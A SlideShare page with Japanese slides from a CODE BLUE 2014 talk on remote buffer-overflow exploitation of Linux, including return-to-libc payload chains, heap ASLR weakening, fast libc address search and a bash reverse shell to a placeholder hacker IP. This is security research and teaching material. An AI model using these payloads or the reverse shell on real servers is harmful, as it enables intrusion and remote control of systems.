SlideShare a Scribd company logo
Linuxににおおけけるる様様々々なな
リリモモーートトエエキキススププロロイイ
トト手手法法
wh1ant (Author A.K.A)
SeokHa Lee (Author name)
wh1ant.sh@gmail.com
http://wh1ant.kr

CODE BLUE 2014
謝辞
ここのの資資料料ををレレビビュューーししててくくれれたた ハハンンドドルル名名
trigger 氏氏にに感感謝謝ししまますす。。 (^_^)
自己紹介
名名前前: SeokHa Lee
ハハンンドドルル名名: wh1ant
(white ant or ant::白白蟻蟻ももししくくはは蟻蟻)
wh1ant ででfacebookややっっててまますす
韓韓国国ののハハッッカカーーチチーームム ‘WISEGUYS’ メメンンババーー
いいくくつつもものの脆脆弱弱性性をを発発見見
韓韓国国ののカカンンフファァレレンンススででセセキキュュリリテティィ関関連連のの講講演演
韓韓国国のの多多くくののCTFにに挑挑戦戦のの実実績績
http://wh1ant.kr
http://hackerschool.org
今回のトピック
Linuxににおおけけるるリリモモーートト・・ババッッフファァ
オオーーババーーフフロローー
•  サーバにファイルを作成
•  NULL バイト処理回避
•  ヒープASLRの無効化
•  libcの高速サーチ

Recommended for you

Synthesijer hls 20150116
Synthesijer hls 20150116Synthesijer hls 20150116
Synthesijer hls 20150116

Synthesijer and Synthesijer.Scala

雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング雑なMySQLパフォーマンスチューニング
雑なMySQLパフォーマンスチューニング

2016/01/20 GMOアドパートナーズグループ勉強会

mysql
攻撃手法
•  コードインジェクション
- NX機能の無効化が不可欠
•  RTL (Return-To-libc攻撃)
- ASLRの無効化が不可欠
•  ROP (Return Oriented Programming)
- ガジェットの存在が不可欠
- ペイロードが長くなりすぎる
アドレスの見つけ方
•  ブルート・フォース
•  メモリ読み取り
•  send(), write() 関数の使用
[&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]
コードと環境
int get_result(const int sock, char odd_or_even)
{
char small_buf[25];
char big_buf[128];
…
write(sock, "pick a number 1 or 2: ", 22);
length = read(sock, big_buf, sizeof(big_buf)-1);
…
strcpy(small_buf, big_buf); // vulnerable code
if((small_buf[0]-0x31)==odd_or_even)
return 1;
else
return 0;
}
Fedora 18
フォークベースの
サーバ
$ gcc server.c –o server -fno-stack-protector
攻撃シナリオ
攻撃目標
ハッカー
libc ののアアドドレレススをを検検出出

攻攻撃撃フファァイイルルをを作作成成

実実行行

Recommended for you

超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)超簡単!SubversionとTortoiseSVN入門(操作編1)
超簡単!SubversionとTortoiseSVN入門(操作編1)

はじめてApache SubversionとTortoiseSVNを使ってバージョン管理に触れる方に、TortoiseSVNの操作を説明します。内容は、インポート、チェックアウト、コミット、追加、削除、リポジトリブラウザです。続編も作成予定です。 前提として、バージョン管理の基本やSubversionの基本的な知識が必要なので、まだの方はそちらのスライドを先に参照してください。 バージョン管理 入門編 https://www.slideshare.net/ShinTanigawa1/ss-232497443 Subversion入門 概念編 https://www.slideshare.net/ShinTanigawa1/subversion-233061751

subversionapache subversiontortoisesvn
シェル入門
シェル入門シェル入門
シェル入門

非エンジニア向けコマンドラインの説明

/etc/network/interfaces について
/etc/network/interfaces について/etc/network/interfaces について
/etc/network/interfaces について

大統一Debian勉強会2013での発表資料です。 resolvconf パッケージなどとの連携方法や独自に同じようなスクリプトを作成する方法について話しました。

パーミッション付きファイルを作成
1 - /tmp ディレクトリ
- libcライブラリの “/tmp” 変数を使用可能
2 – 次の条件を満たすログファイル
- “log/log_%Y%m%d.log” 変数を使用可能
3 – 次の目的のためのデーモンPIDファイル
- プロセスをチェックする
使用する関数
open(), write()
O_WRONLY == 0x1
O_CREAT == 0x40
攻撃ペイロード
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
サーバー側で攻撃を行うためのペイロード
興味深いカーネルコード
struct file *do_filp_open(int dfd, const char *pathname,
int open_flag, int mode, int acc_mode)
...
if (!(open_flag & O_CREAT))
mode = 0;
/* Must never be set by userspace */
open_flag &= ~FMODE_NONOTIFY;
/*
* O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only
* check for O_DSYNC if the need any syncing at all we enforce it's
* always set instead of having to deal with possibly weird behaviour
* for malicious applications setting only __O_SYNC.
*/
if (open_flag & __O_SYNC)
open_flag |= O_DSYNC;
if (!acc_mode)
acc_mode = MAY_OPEN | ACC_MODE(open_flag);
/* O_TRUNC implies we need access checks for write permissions */
if (open_flag & O_TRUNC)
acc_mode |= MAY_WRITE;
0x40のみをチェック
(O_CREAT)

Recommended for you

イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーションイルカさんチームからゾウさんチームに教えたいMySQLレプリケーション
イルカさんチームからゾウさんチームに教えたいMySQLレプリケーション

2016/02/20 第2回 MySQL・PostgreSQLユーザーグループ(MyNA・JPUG)合同DB勉強会 in 東京

mysqlchugokudb
Gossip事始め
Gossip事始めGossip事始め
Gossip事始め

第八回cassandra勉強会slideです。

cassandra
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
位置情報を使ったサービス「スマポ」をPostgreSQLで作ってみた db tech showcase 2013 Tokyo
postgresqldbts-tokyo-2013
ビット単位の AND 演算
00000000 00000000 00000000 00000000
00000000 00000000 00000000 01000000
-----------------------------------------------------------0
0000000 00000000 00000000 00000000
00000000 00000000 00000000 01000000
00000000 00000000 00000000 01000000
-----------------------------------------------------------
00000000 00000000 00000000 01000000
0x40
(O_CREAT)
00000000 00000000 00000000 01000000
0x40
(O_CREAT)
0x40
(O_CREAT)
ファイルを作成
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
close(open("test", 0x11111040, 0xfffff9ff));
return 0;
}
16進数表記で 0x11111040 は、 O_CREAT を意味し、 0xfffff9ff は8進
数表記の 4777 パーミッションを意味する。プログラムを実行すると、
“test” という名のファイルができる。
欠陥
static inline struct file * fcheck_files(struct files_struct *files,
unsigned int fd)
{
struct file * file = NULL;
struct fdtable *fdt = files_fdtable(files);
if (fd < fdt->max_fds)
file = rcu_dereference_check_fdtable(files, fdt->fd[fd]);
return file;
}
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
ファイル記述子の最大値を超えるとNULLリターン
改めてテスト
#include <stdio.h>
int main(void)
{
FILE* fp=fopen("test_file", "w");
if(fp==NULL)
{
printf("fopen() errorn");
return -1;
}
fputc(‘A’, fp);
fclose(fp);
return 0;
}
#include <stdio.h>
FILE *fopen(const char *path, const char *mode);
int fputc(int c, FILE *stream);

Recommended for you

【技術解説4】assertion failureとuse after-free
【技術解説4】assertion failureとuse after-free【技術解説4】assertion failureとuse after-free
【技術解説4】assertion failureとuse after-free

動画はこちら https://youtu.be/71dp5XCcB38

Android デバッグ小ネタ
Android デバッグ小ネタAndroid デバッグ小ネタ
Android デバッグ小ネタ

第27回横浜Androidプラットフォーム部勉強会発表資料です

android
ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)ECMAScript 6 Features(PDF 版)
ECMAScript 6 Features(PDF 版)

HTML 版: http://alprosys.com/es6/es6_features.html ECMAScript 6 の新機能の紹介

javascriptes6ecmascript
#include <stdio.h>
int main(void)
{
FILE* fp=fopen("test_file", "wHello_world");
if(fp==NULL)
{
printf("fopen() errorn");
return -1;
}
fputc(0xffffff41, fp);
fclose(fp);
return 0;
}
フェイク・コード
#include <stdio.h>
FILE *fopen(const char *path, const char *mode);
int fputc(int c, FILE *stream);
“answer” == append モード
“wer” == write モード
“answer”
fopen() 制御文字
switch (*mode)
{
case 'r':
omode = O_RDONLY;
read_write = _IO_NO_WRITES;
break;
case 'w':
omode = O_WRONLY;
oflags = O_CREAT|O_TRUNC;
read_write = _IO_NO_READS;
break;
case 'a':
omode = O_WRONLY;
oflags = O_CREAT|O_APPEND;
read_write = _IO_NO_READS|_IO_IS_APPENDING;
break;
default:
__set_errno (EINVAL);
return NULL;
}
; ex
movzx eax,BYTE PTR [eax]
movsx eax,al
cmp eax,0x72 ; ‘r’ check
je 0x804843c
ペイロード
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
[&fopen()] [pop*2] [&“filename”] [&“w”]
[&fputc()] [dummy] [0xffffff41] [<file pointer>]
しかし・・・
ポインターアドレスはどうやって探し出す?
ランダムなファイルポインタ
#include <stdio.h>
int main(void)
{
FILE* fp;
fp=fopen("test_file", "wt");
printf("fopen(): %pn", fp);
if(fp) fclose(fp);
return 0;
}

Recommended for you

Ilstudy001_20110806
Ilstudy001_20110806Ilstudy001_20110806
Ilstudy001_20110806
bashlinuxshell programing
Filippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy jaFilippo, plain simple reality of entropy ja
Filippo, plain simple reality of entropy ja

PacSec2015 slides

trueコマンドに0以外の終了コードをはかせる方法
trueコマンドに0以外の終了コードをはかせる方法trueコマンドに0以外の終了コードをはかせる方法
trueコマンドに0以外の終了コードをはかせる方法

第19回シェル芸勉強会でLTしました

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char* p;
FILE* fp;
p=(char*)malloc(0xffffffff);
fp=fopen("test_data", "w");
printf("malloc(): %pn", p);
printf("fopen(): %pn", fp);
if(p) free(p);
if(fp) fclose(fp);
return 0;
}
ヒープASLRのいくつかを無効化
0xb7400468 もしくは 0xb7500468
ヒープ構造 1/5
malloc()
brk() mmap()
アロケーションサイズが
128 kb より大きな場合
__libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap()
__libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()
ヒープ構造 2/5
2842 void*
2843 __libc_malloc(size_t bytes)
2844 {
/* _int_malloc() が mmap() を引数 0xffffffff で呼び出そうとする */
2858 victim = _int_malloc(ar_ptr, bytes);
2859 if(!victim) { // アロケーション可否をチェック、 0xffffffff ではサイズが大きすぎるので
アロケーション不可となる
2860 /* アロケーション不可はmmapされていないエリアで実行されているためかも? */
2861 if(ar_ptr != &main_arena) {
2862 (void)mutex_unlock(&ar_ptr->mutex);
2863 ar_ptr = &main_arena;
2864 (void)mutex_lock(&ar_ptr->mutex);
2865 victim = _int_malloc(ar_ptr, bytes);
2866 (void)mutex_unlock(&ar_ptr->mutex);
2867 } else {
2868  /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */
/* arena_get2() も内部でmmap() を呼び出している */
2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes);
2870 (void)mutex_unlock(&main_arena.mutex);
2871 if(ar_ptr) {
2872 victim = _int_malloc(ar_ptr, bytes);
ヒープ構造 3/5
521 new_heap(size_t size, size_t top_pad)
...
552 /* メモリサイズ 0x200000 をアロケート */
553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE);
554 if(p1 != MAP_FAILED) {
555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1))
556 & ~(HEAP_MAX_SIZE-1));
557 ul = p2 - p1; // 555 ~ 557 行は0xb73fffff へのランダム化されたアドレスのオフセット
558 if (ul)
559 __munmap(p1, ul); // いくつかのメモリアロケーションを解放
560 else
561 aligned_heap_area = p2 + HEAP_MAX_SIZE;
562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul);
… /* 0x21000 以下のサイズの読み書きを可能にする */
575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) {
576 __munmap(p2, HEAP_MAX_SIZE);
577 return 0;
578 }
579 h = (heap_info *)p2;
580 h->size = size;
581 h->mprotect_size = size;

Recommended for you

片手間MySQLチューニング戦略
片手間MySQLチューニング戦略片手間MySQLチューニング戦略
片手間MySQLチューニング戦略

2017/10/08 phpcon 2017 https://joind.in/event/japan-php-conference-2017/session05-mysql

mysql
Memory sanitizer
Memory sanitizerMemory sanitizer
Memory sanitizer
clang
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015

韓国では、サイバー戦争は仮想のものではなく、現実になってきている。北朝鮮が自国のサイバー戦争能力を拡張し続けているからだ。 大韓民国国家情報院(NIS、韓国のCIA)は、2010年から2014年10月にかけて政府や公的機関に7万5472件のサイバー攻撃があったことを正式に報告した。その上、NISの国家サイバーセキュリティ・センターが、北朝鮮が韓国内の政府機関や民間企業に対し無差別サイバー攻撃を数百万回も企てていることを報告した。 NISは、北朝鮮の偵察総局、特に121局が、悪意のあるコンピューター・コードを作る6000人以上のフルタイム・ハッカーたちを提供している、と考えている。この見積値は、韓国の国防部が2015年1月リリース版のホワイトペーパーに表明されているが、以前NISが2013年にリリースした見積値の2倍になっている。脱北者たちの証言によると、北朝鮮政府は、経済的苦難が自国の通常軍事資産の重荷になっていた1990年代に、自国の非対称戦争を発展させる企���として、国内のサイバー能力に力を注ぎ始めたという。当時、Mirim大学──今では金日成総合大学と改名されている──が、ハッカー養成のために開校された。 北朝鮮とのギャップを埋めるために、韓国政府は最近サイバーセキュリティのエキスパートをより多く育成することに専念してきている。私はこの講演で、サイバーセキュリティの人材に韓国政府がどのような投資をするかをお話しする。特に、セキュリティ・エキスパートを育てる上での中心的な役割を果たすトレーニング・プログラムに注目する。国営のプログラムとは別に、私は善意のハッカーたちを育てる民間企業の努力(例えば、SECUINSIDE、CODEGATE、POC等)についても話す予定だ。 提供されている様々なトレーニング・プログラムは、より良いセキュリティとハッキング・エキスパートの確保のために進行中である。例えば、高麗大学校の学生たちや韓国拠点のITセキュリティ・ソリューション・プロバイダーRAONSECUREで構成されるチームは、"DEFCON CTF 23"にて優勝しているが、まだ解決せねばならない問題が残っている。これらの問題についても、私は指摘しようと思う。

educationsecuritycode blue
ヒープ構造 4/5
2842 void*
2843 __libc_malloc(size_t bytes)
2844 {
2858 victim = _int_malloc(ar_ptr, bytes); // fopen() が呼び出されるl
2859 if(!victim) {
2860 /*不可はmmapされていないエリアで実行されているためかも? */
2861 if(ar_ptr != &main_arena) {
2862 (void)mutex_unlock(&ar_ptr->mutex);
2863 ar_ptr = &main_arena;
2864 (void)mutex_lock(&ar_ptr->mutex);
2865 victim = _int_malloc(ar_ptr, bytes);
2866 (void)mutex_unlock(&ar_ptr->mutex);
2867 } else {
2868  /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */
/* arena_get2() も内部でmmap() を呼び出している*/
2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes);
2870 (void)mutex_unlock(&main_arena.mutex);
2871 if(ar_ptr) {
2872 victim = _int_malloc(ar_ptr, bytes);
ヒープ構造 5/5
2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av)
...
2681 p = av->top; // mmap (0xb7400000) よりのプリアロケートされたメモリアドレス
2682  size = chunksize(p); // 従前のアロケーションサイズを取得
// (返り値はほぼ 0x21000)
2683
2684  /* 上記のアロケーションパスで成功したものをチェック */
/*保存された従前のアロケーションサイズがリクエストされたメモリサイズより大
きいか否かをチェック */
2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
2686 remainder_size = size - nb;
2687 remainder = chunk_at_offset(p, nb);
2688 av->top = remainder;
2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
2690 set_head(remainder, remainder_size | PREV_INUSE);
2691 check_malloced_chunk(av, p, nb);
2692 return chunk2mem(p); // mmapでアロケーションされたメモリアドレスを返す
2693 }
2694
2695 /* すべての失敗したパスをキャッチ */
2696 __set_errno (ENOMEM);
2697 return 0;
2698 }
マッピング情報
このメモリ領域が使える!
‘リピート コード’ とは?
; リピート コード 1
10101010: mov eax, ebx
10101012: jmp short 10101012
10101014: mov eax, ebx
;リピート コード 2
10101010: mov eax, ebx
10101012: jmp short 10101010
10101014: mov eax, ebx

Recommended for you

ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜
ハッカースペース徹底入門!正しい?THSのハ・ジ・メ・カ・タ 〜Geekと遊ぶ、電子工作からアイス作りまで〜

OSC 2014 Tokyo/SpringのTokyo HackerSpaceセミナー枠での資料です。 トーキョーハッカースペース(THS)に興味のある方向けに、どういう流れでTHSに遊びに来ると良いのかを紹介しています。 とてもユニークで楽しい場所なので、是非一度遊びにきてください。

electronicshackerspacemake
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...
[CB16] (物理的に分離された)エアギャップのセキュリティ:最先端の攻撃、分析、および軽減 by Mordechai Guri, Yisroel Mi...

エアギャップなネットワークとは物理的および論理的にパブリックなネットワークから隔離され、分離されているネットワークである。例えば軍事、(高機密を有する)産業、金融などのネットワークがあげられる。そのようなシステムへ侵入することの事項可能性が近年実演されているが、エアギャップなネットワーク(からの/への)通信は、攻撃者にとってチャレンジングなものであり、また、守る側に対してもより(攻撃が発生すれば)難しい脅威となる。エアギャップなネットワークと通信を行うあらたな手法が近年現れており、いくぶんか高度なものになっており、対応が難しいものとなっている。新たに顕在化した脆弱性は、物理環境やネットワークセキュリティを考えるうえで必要かつ、広く影響を与えるものである。 しかしながら、エアギャップなネットワーク(からの/への)情報を密かに盗み出そうとする試みは休みなく行われ続けている。よって、そららの攻撃手法を公表するだけでなく対応策と実行可能性の検証を行うことは重要なことである。 本講演では、攻撃者がエアギャップなネットワークにアクセスするために必要なステップについての概略をのべる。熱、無線、音響などを活用した最先端の攻撃手法をレビューするとともに、その対応策と検証を行う。本講演における多くの攻撃手法はユバル・イロビィチ教授の監督のもと、当ラボの研究員であるモルデチャイ・グリによって発見されている。 --- モルデチャイ・グリ Mordechai Guri モルデチャイ・グリはコンピュータ科学者ならびにセキュリティ専門家として二十年以上の実践的な経験を有している。エルサレムのヘブライ大学コンピューターサイエンス学科にて学士及び修士号を得た。その後、ベングリオン大学(BGU)サイバーリサーチセンターにおける主任研究員およびラボ部長をつとめるともに、IBMのPhDインターナショナルフェローシップ (2015-2016)を獲得している。官民の様々な機関に対してサイバーセキュリティに関する多様な面からの学術的な研究を指導している。過去数年間にわたり多くの革新的なサイバーセキュリティ研究に従事し、(関連したいくつかの論文は)世界中で出版されている。研究分野はサイバーアタックおよびサイバー防御における最先端の手法に焦点をあてている。そして、現在の枠組みを深く調べ、最近のサイバー環境におけるセキュリティ問題への対処方法を改善するための新しい手法を開発し�

cb16aptcode blue
動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)動的計画法入門(An introduction to Dynamic Programming)
動的計画法入門(An introduction to Dynamic Programming)

1/8(水)千葉大学CCS勉強会 『動的計画法入門』の資料です。

動的計画法プログラミング
‘リピート コード’ を見つける
[&puts()] [0x080486ac ~ 0x08049578] [0x08048001]
実行コードの最初のアドレス: 0x080486ac
実行コードの最後のアドレス: 0x08049578
python を使って
‘repeat code’ を見つける
ファイルポインタがペイロードを
チェック
[&malloc()] [pop*1] [0xffffffff]
[&fopen()] [pop*2] [&"filename"] [&"w"]
[&fclose()] [&repeat code] [&file pointer]
/proc/net/tcp (ESTABLISHED state check)
ファイルがペイロードを書き込む
[&malloc()] [pop*1] [0xffffffff]
[&fopen()] [pop*2] [&"filename"] [&“a"]
[&fputc()] [&exit()] [0xffffff41] [&file pointer]
#!/bin/sh
exec 5<>/dev/tcp/<hacker IP address>/1337
cat<&5|while read line;do $line 2>&5>&5;done
サーバ側の攻撃コード

Recommended for you

hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版

hbstudy#28 の資料です。 一利用者の立場から説明をしました。 間違ってたらごめんなさい。 ※ 公開に当たり問題のあるページやコードを一部削除しています。

selinux
ネットワーク家電と脆弱性 by 堀部 千壽
ネットワーク家電と脆弱性 by 堀部 千壽ネットワーク家電と脆弱性 by 堀部 千壽
ネットワーク家電と脆弱性 by 堀部 千壽

ネットワーク機能を持つ家電が出現、市販されて10年以上が経過した。 年を追うごとに機能の高度化、機器間連携や携帯電話/スマートフォンとの連携、サービスサーバ/クラウドサービスとの連携など、 利用シーンの拡大とともに家電が取り扱う情報の量および価値が高まり続けている。 このような状況下で、仮に家電に脆弱性が存在した場合、そこを起点にさまざまな機器および情報へのアクセスを許すことになりかねない。 現実として、そのようなリスクが顕在化しうるかを、ネットワーク家電の機能の変遷とそれにまつわる脆弱性を追いながら考察し、 今後ネットワーク家電とどのように付き合っていくか、利用者および開発者の目線から考えて行く。 堀部 千壽 - Yukihisa Horibe Panasonic株式会社 解析センター所属 Panasonic-PSIRT 所属メンバー ネットワーク家電や組込み機器に対する脆弱性診断、および机上リスク解析などに10年以上従事

securityネットワーク家電堀部千壽
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
マルウェア解析講座そのいち〜仮想環境下では暴れないけど質問ある?〜
libcの高速サーチ1/5
$ cat /proc/17680/maps
08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server
0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server
0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server
b7622000-b7623000 rw-p 00000000 00:00 0
b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so
b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so
b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so
b77d6000-b77d9000 rw-p 00000000 00:00 0
b77dd000-b77df000 rw-p 00000000 00:00 0
b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso]
b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so
b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so
b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so
bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
$ cat /proc/17680/maps
08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server
0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server
0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server
b7622000-b7623000 rw-p 00000000 00:00 0
b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so
b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so
b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so
b77d6000-b77d9000 rw-p 00000000 00:00 0
b77dd000-b77df000 rw-p 00000000 00:00 0
b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso]
b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so
b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so
b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so
bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
libcの高速サーチ2/5
0xb7801000 – 0xb7622000 = 0x1df000 (offset)
...
int* p=0x0;
int temp=*p; // 無効なアドレスの場合はセグメンテーション違反となる
....
...
int* p=0x08048000;
int temp=*p; /* もし、このメモリアドレスが存在していたらセグメンテー
ション違反にはならない */
....
libcの高速サーチ3/5
b7622000-b7623000 rw-p 00000000 00:00 0
b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so
b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so
b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so
…
[&puts()] [&repeat code] [&exist address]
存在するアドレスを探す
libcの高速サーチ4/5

Recommended for you

o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平
o-checker:悪性文書ファイル検知ツール~ファイルサイズからにじみ出る悪意 by 大坪 雄平

標的型メール攻撃対策として従来の不正なコードの検知技術ではない、ファイルフォーマットに着目した構造解析のアプローチを紹介する。ファイルサイズだけでマルウェア検知が可能になった実態や、不正なコードの中身に依存しない汎用的な検知方法を実装したo-checkerについて解説する。 標的型メール攻撃では,実行ファイルを埋め込んだ文書ファイルがよく用いられる.このような悪性文書ファイルを検知するため,これまでは不正なコードに着目した検知法が研究されてきた.ところが,不正なコードは攻撃側が任意に記述することができるため,不正なコードに着目した検知法では未知のマルウェアに対しどうしても後追いになってしまう.そこで,文書ファイルのファイルフォーマットに着目した構造解析を実施した結果,例えばファイルサイズだけで悪性文書ファイルを見ぬくことができることが判明した.その他,不正なコードの中身に依存しない悪性文書ファイルの検知法を実装したo-checkerというツールを紹介する. 大坪 雄平 - Yuuhei Ootsubo 1987年頃よりプログラムに興味を持つ 2005年警察庁入庁. 2007年警察庁生活安全局情報技術犯罪対策課. 2010年警察庁情報通信局情報技術解析課. 2012年より内閣官房情報セキュリティセンター出向

o-checkersecurity標的型攻撃
Edomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみようEdomae 2015 - マルウェアを解析してみよう
Edomae 2015 - マルウェアを解析してみよう

江戸前セキュリティ勉強会 - マルウェアを解析してみよう

クラウドセキュリティ
クラウドセキュリティクラウドセキュリティ
クラウドセキュリティ

This is the slide by Ryouji Kanai from FFRI at SoftLayer Bluemix Community Festa 2016

cloudbluemixsecurity
[&puts()] [repeat code] [0xb7 5~8 00101] <= 66桁桁目目をを探探すす
[&puts()] [repeat code] [0xb76 0~f 0101] <= 55桁桁目目をを探探すす
[&puts()] [repeat code] [0xb761 0~f 101] <= 44桁桁目目をを探探すす
6 桁桁目目、、アアドドレレスス 0xb7700101 はは存存在在
5 桁桁目目、、アアドドレレスス 0xb7630101 はは存存在在
4 桁桁目目、、アアドドレレスス 0xb7622101 はは存存在在
b7622000-b7623000 rw-p 00000000 00:00 0
b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so
b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so
b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so
…

アドレスを一桁づつ探す
libcの高速サーチ5/5
0xb7622101 – 0x101 = 0xb7622000
メモリにアクセスする関数
int puts(const char *s);
size_t strlen(const char *s);
int atoi(const char *nptr);
int strcmp(const char *s1, const char *s2);
int printf(const char *format, ...);
int sprintf(char *str, const char *format, ...);
ペイロードのレビュー 1/2
[&puts()] [&repeat code] [&exist libc]
1. libc アドレスを検出
[&malloc()] [pop*1] [0xffffffff]
[&fopen()] [pop*2] [&"filename"] [&"w"]
[&fclose()] [&repeat code] [&file pointer]
2. ファイルポインタアドレスを検出
[&malloc()] [pop*1] [0xffffffff]
[&fopen()] [pop*2] [&"filename"] [&“a"]
[&fputc()] [&exit()] [0xffffff41] [&file pointer]
3. ファイルに書き込み
ペイロードのレビュー 2/2
[&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff]
[&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“]
4. ファイルのパーミッションを���えて実行

Recommended for you

IDAの脆弱性とBug Bounty by 千田 雅明
IDAの脆弱性とBug Bounty by 千田 雅明IDAの脆弱性とBug Bounty by 千田 雅明
IDAの脆弱性とBug Bounty by 千田 雅明

IDA Proとは、高機能な逆アセンブラソフトウェアで、主に脆弱性調査やマルウェアの解析・分析に利用されている。 IDA Proはソフトウェアの詳細な動作を解析するためにものであり、もし脆弱性により利用者が攻撃された場合には、 裁判の結果に影響を及ぼすなどの社会的に大きな影響を及ぼすこともあるとも考えられる。 本講演では、見つかった脆弱性の解説、脆弱性を利用する攻撃のデモ、そしてHex-rays社側の対策内容やHex-rays社とのやり取りについて解説する。 http://codeblue.jp/speaker.html#MasaakiChida

bug bountysecuritycode blue
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes
[CB16] 私のモデムに誰がバックドアを仕掛けたのか? by Ewerson Guimaraes

